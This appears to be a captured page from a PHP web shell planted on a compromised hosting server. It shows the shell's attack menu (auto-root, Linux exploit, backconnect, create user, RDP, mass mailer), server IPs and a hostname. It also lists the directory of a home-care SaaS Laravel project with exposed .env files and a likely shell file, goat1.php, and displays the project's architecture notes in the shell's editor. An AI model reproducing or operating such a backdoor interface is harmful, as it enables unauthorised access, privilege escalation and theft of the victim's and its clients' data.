Linux server1.signalhg.team 4.18.0-553.134.1.el8_10.x86_64 #1 SMP Tue Jun 16 16:05:57 EDT 2026 x86_64
Apache
: 209.74.80.147 | : 216.73.217.20
150 Domain
8.1.34
signgwph
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
signgwph /
homecareus.io /
homecare-saas /
[ HOME SHELL ]
Name
Size
Permission
Action
app
[ DIR ]
drwxrwxrwx
bootstrap
[ DIR ]
drwxrwxrwx
config
[ DIR ]
drwxrwxrwx
database
[ DIR ]
drwxrwxrwx
docs
[ DIR ]
drwxrwxrwx
node_modules
[ DIR ]
drwxrwxrwx
public
[ DIR ]
drwxr-x---
resources
[ DIR ]
drwxrwxrwx
routes
[ DIR ]
drwxrwxrwx
scripts
[ DIR ]
drwxrwxrwx
storage
[ DIR ]
drwxrwxrwx
tests
[ DIR ]
drwxrwxrwx
vendor
[ DIR ]
drwxrwxrwx
.editorconfig
258
B
-rw-rw-rw-
.env
1.31
KB
-rw-rw-rw-
.env.cpanel.example
1.3
KB
-rw-rw-rw-
.env.example
1.13
KB
-rw-rw-rw-
.env.production
1.08
KB
-rw-rw-rw-
.gitattributes
186
B
-rw-rw-rw-
.gitignore
243
B
-rw-rw-rw-
.phpunit.result.cache
24.48
KB
-rw-rw-rw-
ARCHITECTURE.md
1.59
KB
-rw-rw-rw-
README.md
1.49
KB
-rw-rw-rw-
agency_id}
0
B
-rw-r--r--
artisan
350
B
-rw-rw-rw-
composer.json
2.38
KB
-rw-rw-rw-
composer.lock
374.16
KB
-rw-rw-rw-
cookies.txt
930
B
-rw-rw-rw-
error_log
2.4
KB
-rw-r--r--
goat1.php
143.87
KB
-rw-r--r--
id}
604
B
-rw-r--r--
is_primary}
0
B
-rw-r--r--
laravel-serve.err.log
0
B
-rw-rw-rw-
laravel-serve.out.log
18.74
KB
-rw-rw-rw-
name}
0
B
-rw-r--r--
package-lock.json
147.25
KB
-rw-rw-rw-
package.json
1.19
KB
-rw-rw-rw-
phpunit.xml
1.24
KB
-rw-rw-rw-
postcss.config.js
93
B
-rw-rw-rw-
tailwind.config.js
720
B
-rw-rw-rw-
tsconfig.json
592
B
-rw-rw-rw-
vite-dev.err.log
1.75
KB
-rw-rw-rw-
vite-dev.out.log
14.01
KB
-rw-rw-rw-
vite.config.js
296
B
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ARCHITECTURE.md
# Architecture Notes ## Tenancy `stancl/tenancy` initializes tenant context from the request host. Central routes are limited to configured central domains. Tenant routes use: - `InitializeTenancyByDomain` - `PreventAccessFromCentralDomains` - `tenant.context` - `tenant.subscribed` for paid application surfaces The default target is multi-database tenancy. If you later choose single-database tenancy, keep the `BelongsToTenant` trait and add `tenant_id` to tenant tables. ## Billing The central `Tenant` model is the Cashier billable customer. This avoids storing Stripe subscription state in every tenant database and makes suspended/canceled tenant access checks straightforward. ## RBAC Spatie roles: - Super Admin - Agency Admin - Scheduler - Caregiver - Client/Family Policies should be created for every CRUD model. The included examples cover schedules and EVV logs. ## EVV Flow 1. Caregiver calls `POST /api/tenant/schedules/{schedule}/clock-in`. 2. API validates GPS/telephony payload. 3. EVV log is stored with `verified` or `exception` status based on distance. 4. GPS breadcrumb is stored. 5. `CaregiverLocationUpdated` broadcasts to the private dispatch channel. 6. Dispatch page receives live updates over Reverb. ## Screenshot Functional Mapping The legacy app examples imply these first-release bounded contexts: - Agency admin settings and EVV defaults - Client/caregiver master records - Schedule planning and matching - EVV calls and map verification - Alert/message center - Reporting and exports Keep those as separate controllers, policies, and Inertia page folders as the product grows.
Close